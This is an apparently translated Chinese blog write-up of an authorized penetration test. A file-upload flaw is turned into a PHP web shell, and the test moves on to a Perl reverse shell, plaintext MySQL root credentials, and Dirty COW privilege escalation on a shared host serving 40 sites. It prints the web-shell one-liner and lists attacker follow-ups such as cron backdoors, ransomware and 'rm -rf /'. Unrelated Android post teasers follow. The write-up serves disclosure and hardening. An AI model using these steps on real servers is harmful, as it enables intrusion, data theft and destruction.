如何在 7 分钟内黑掉 40 家网站?

2018-04-20 09:12:07

去年夏天我开始学习信息安全与黑客技术。在过去的一年中,我通过参加各种战争游戏、夺旗以及渗透测试模拟,不断提高我的黑客技术,还学习了很多关于“如何让计算机偏离其预期行为”的新技术。

长话短说,我的经验总是局限于模拟环境,而且我认为自己是个有道德的白帽黑客,所以我从未入侵过别人的业务,一次都没有。

直到现在。本文讲述了我入侵一台托管了40个网站(确切的数字)的服务器的故事,以及在此过程中我的发现。

请注意:本文讲述的技术涉及一些计算机科学领域的基本知识。

一位朋友告诉我,他的网站中发现了一个XSS漏洞,他希望我能进一步了解一下。这是个很重要的阶段,因为我会要求他授权我对他的web应用程序进行全面的测试,并赋予我访问托管服务器的全部权限。结果他答应了。

640?wx_fmt=gif&wxfrom=5&wx_lazy=1

在本文中,假定我朋友的网站地址为:http://example.com。

第一步是收集尽可能多的敌方信息,并注意不要打草惊蛇。

在这个阶段,我启动计时器并开始扫描。

$ nmap --top-ports 1000 -T4 -sC http://example.com
Nmap scan report for example.com {redacted}
Host is up (0.077s latency).
rDNS record for {redacted}: {redacted}
Not shown: 972 filtered ports
PORT      STATE  SERVICE
21/tcp    open   ftp
22/tcp    open   ssh
| ssh-hostkey:
|   {redacted}
80/tcp    open   http
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Victim Site
139/tcp   open   netbios-ssn
443/tcp   open   https
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_{redacted}
445/tcp   open   microsoft-ds
5901/tcp  open   vnc-1
| vnc-info:
|   Protocol version: 3.8
|   Security types:
|_    VNC Authentication (2)
8080/tcp  open   http-proxy
|_http-title: 400 Bad Request
8081/tcp  open   blackice-icecap

扫描大约在2分钟内完成了。

这台服务器上有很多开放的端口!通过观察,我发现FTP(端口21)和SMB(端口139/445)端口是开放的,我猜服务器用这些端口托管文件和共享文件,还发现这是一个web服务器(端口80/443,代理在端口8080/8081)。

640?wx_fmt=jpeg

如果上述扫描信息不够,我还会考虑做一次UDP端口扫描,扫描最常用的1000多个端口。现在我可以在无需认证的情况下访问的唯一端口是80/443。

抓紧时间,我启动了gobuster,罗列出了Web服务器上所有有趣的文件,同时我将手动挖掘信息。

$ gobuster -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100
/admin
/login

原来/admin路径是一个“管理工具”目录,通过身份验证的用户可以利用这些工具修改web服务器上的内容。它需要身份验证,但是我既没有用户名,也没有密码,所以只能找别的方法。(剧透:gobuster没有发现任何有价值的东西。)

到目前为止,我用了大约3分钟。然而,一无所获。

在浏览网站的时候,它要求我登录。这没关系,我用虚拟电子邮件创建了一个账户,然后在几秒钟后点击确认电子邮件并成功登录。

网站显示了欢迎信息,并弹出对话框带我进入个人资料页面,要求更新我的个人资料图片。做的很贴心啊。

看来该网站是定制的,所以我决定测试一下无限制上传文件的漏洞。我在终端上运行了如下命令:

echo "<?php system(\$_GET['cmd']); ?>" > exploit.php

我试着上传该“图片”,哈哈!该网站接受了上传exploit.php。当然这个文件没有缩略图,但是这意味着我的文件肯定上传到服务器的某个地方了。

640?wx_fmt=png

获取exploit的位置

这里,我原本以为网站会对上传文件做一些处理,检查扩展名,并替换为可接受的文件扩展名,比如.jpeg,.jpg,以避免攻击者上传恶意的远程操控代码,希望各位看官的网站都做到了。

毕竟大家都很关心安全问题。

是吧?是吧?……没错吧?

接下来“复制图片的路径”,其实就是复制如下路径:

http://www.example.com/admin/ftp/objects/XXXXXXXXXXXX.php

看来我的网页木马程序已经做好准备且开始工作了:

640?wx_fmt=png

我发现web服务器运行的是perl脚本(真的,perl?),于是我从常用的cheatsheet(http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)中拿了一个perl语言的反向shell,设置好IP /端口,然后我得到一个低特权shell(对不起,没有截图)。

在第5分钟的时候,我已经拥有了低权限的shell。

令我惊讶的是,该服务托管的不止1个网站,总共有40个不同的网站。很遗憾我没有保存每个细节的截图,只有如下的输出结果:

$ ls /var/www
access.log site1/ site2/ site3/ {... 等等}

我想你也看出来了。让人惊愕的是,我可以读取所有托管网站,这意味着我可以访问所有网站的后台代码。我原以为我只能访问example.com的代码。

值得注意的是,在cgi-admin / pages目录中,所有的perl脚本都以root身份连接到了mysql数据库。而数据库的身份验证是以明文保存的,就像这样:root:pwned42。

果然,服务器上运行的是MariaDB,在访问数据库之前我不得不借助于这个问题(https://github.com/dockerfile/mariadb/issues/3)。之后我运行了如下命令:

mysql -u root -p -h localhost victimdbname
Password: pwned42

用root权限登录数据库后的截图如下:

640?wx_fmt=png

“使用数据库用户”,我可以访问35个数据库并可以查看/修改数据库内容

仅用了7分钟,我就拥有了读写35(!)个数据库的全部权限。

到了这里,从道德上讲我必须停止此次黑客行动,并揭露迄今为止的发现。这些潜在的危害已经十分惊人了。

攻击者将如何处置这些数据:

  • 转储所有数据库的内容,导致所有35家公司的数据集体曝光。按照这种方式(https://stackoverflow.com/questions/9497869/export-and-import-all-mysql-databases-at-one-time)。

  • 删除所有的数据库,一次性删掉35家公司的所有数据。

  • 利用cronjob留后门,方便日后通过apache再次造访。按照这种方式(http://blog.tobiasforkel.de/en/2015/03/19/setup-cron-job-for-apache-user/)。

我应该注意到,在这里mysql进程是以root身份运行的,所以如果我尝试运行\! whoami,也许可以获得root的身份。不幸的是我仍然是apache。

好了,休息一下,计时结束。

还有什么更大的问题?

在揭露了我的发现后,我获得了更多权限,可以进行更进一步的挖掘。

在寻找方法可以将我的权限升级到root以制造巨大危害的可能性之前,我一直在研究我受限的用户还可以查阅些哪些其他有趣的文件。

就在那时,我想起了开放的SMB端口。这意味着某个地方的某个文件夹应该是对系统用户共享的。经过一番筛查后,下面的目录出现在了/ home / samba / secured目录中(请原谅我的批量审查):

640?wx_fmt=png

这些目录保存了托管公司每个用户的文件。其中包括一些敏感数据,比如:

  • .psd / .ai文件(设计师知道私密的重要性,毕竟这是他们的工作和技术)

  • Cookie sqlite文件

  • 发票

  • 盗版电子书(看到这些时我不禁笑了)

  • WiFi的SSID和密码

攻击者将如何处置这些数据:

  • 住在公司外面,登录到他们的内部网,并进行各种可以在本地网络上操作的有趣的攻击;

  • 将上面列出的所有敏感数据公开到网络上。

花些时间浏览这些文件夹,你就会认识到这个问题有多严重。再休息一下。

最后一击

通过apache四处寻找了一会儿后,我决定去钓大鱼——拿到root用户。我喜欢利用cheatsheet(https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/),搜寻有趣的文件系统。

到目前为止我的搜寻已经用完了大部分的技术,但是却似乎无法找到突破点。

就在此时,我突然想到,在以前玩“夺旗”的挑战中,操作系统通常会做一些改动,故意制造一些错误的配置服务,最终为你提供所需的root权限。然而在现实世界中,人们可不会这么做。

我的意思是,看看Equifax。

服务器运行的是哪个Linux?

$ cat /etc/issue
CentOS Linux release 7.2.1511 (Core)

Kernel是什么版本?

640?wx_fmt=png

这个看似是个旧版的Kernel。

640?wx_fmt=png

看到此图你能想起什么?(提示:这个问题非常非常严重)

如果没有,请点击这里:

https://www.theguardian.com/technology/2016/oct/21/dirty-cow-linux-vulnerability-found-after-nine-years

我在这篇博文中找到了我所需要的测试Kernel是否脆弱的脚本:

http://davemacaulay.com/easily-test-dirty-cow-cve-2016-5195-vulnerability/

640?wx_fmt=png

然后运行:

640?wx_fmt=png

游戏结束!

我马上写了一封邮件,充分披露了上述每一步的细节以及潜在影响,一晚上的工作结束了,可以松口气了。

攻击者可以做什么:

  • 读取/修改服务器上所有的文件;

  • 留下一个永久的后门(通过apache);

  • 安装恶意软件,并很有可能传播到服务器的内部网;

  • 安装勒索软件(以35家公司的数据库为例,所有托管公司的数据都被视为人质);

  • 使用服务器作为加密货币矿工;

  • 使用服务器作为代理;

  • 将该服务器用作C2C服务器;

  • 将服务器用作僵尸网络的一部分;

  • .……(你可以自己想象);

  • rm -rf /(绝对不是在开玩笑)。

第二天,我的朋友(他与运营服务器的公司取得了联系)告诉我,文件上传中的bug已得到修复。

总结一下我们的发现:

  • Web应用程序存在无限制文件上传的漏洞,这将赋予攻击者低权限的shell;

  • MySQL数据库的身份认证漏洞,这将赋予攻击者读写35个数据库;

  • 许多可读的敏感文件。

最后,攻击者可以滥用未打补丁的内核来获取root访问权限。

改良措施

首先文件上传的bug给了我们下手的机会。由于整个Web应用程序的后端都是用perl编写的(而我不会perl),所以我无法真正提出修复方案。

但是我可以建议一点:不要是使用2017版的perl,但这只是我的看法,大家可以随时证明我错了。

关于文件系统,我建议参考最小权限原则,谨慎地为用户分配恰当的文件权限。这样一来,即使像apache这样低特权用户可以访问,他们也无法读取任何敏感文件。

在同一台服务器上运行所有网站不是明智之举,我不确定docker化的方案是否可以解决这个问题。

所有数据库拥有相同的身份认证肯定是个很糟的主意。

单点故障通常不好。

最后,打补丁!实际上只需运行一个命令:su -c'yum update'(特定于CentOS)。

  • 2020-01-30 11:19:58

    Android中添加两个(多个)FileProvider节点问题

    我们知道在android7.0,修改了对私有存储的限制,导致在获取资源的时候,不能通过Uri.fromFile(..)来获取uri了,但是在写入数据的时候是可以通过Uri.fromFile(..)来获取uri的,android 官网给出的解决办法是通过FileProvider来解决这一问题,我们需要在AndroidManifest.xml 配制provider节点。

  • 2020-02-02 15:40:36

    Apache Commons IO之IOUtils优雅操作流

    在开发过程中,你肯定遇到过从流中解析数据,或者把数据写入流中,或者输入流转换为输出流,而且最后还要进行流的关闭,原始jdk自带的方法写起来太复杂,还要注意各种异常,如果你为此感到烦恼,那IOUtils可以让我们优雅的操作流。

  • 2020-02-02 19:24:38

    百度视频SDK,突然不能播放

    开发过程中,不知道什么时候开始视频不能播发了,怎么办都不行,其他项目没问题,线上都也没有问题,这可急躁完蛋我了,整了仨小时,还是那熊样。 哎。

  • 2020-02-04 18:43:10

    AssetManager.finalize() Timed Out 解决办法以及分析

    在我们的项目崩溃中,有一个比较常见的bug,就是 java.util.concurrent.TimeoutException android.content.res.AssetManager.finalize() timed out after 10 seconds 意思简单明了,就是说在AssetManager析构的时候发生了超时异常。

  • 2020-02-06 13:32:10

    android.os.NetworkOnMainThreadException

    在Android 4.0以上,网络连接不能放在主线程上,不然就会报错android.os.NetworkOnMainThreadException。但是4.0下版本可以不会报错。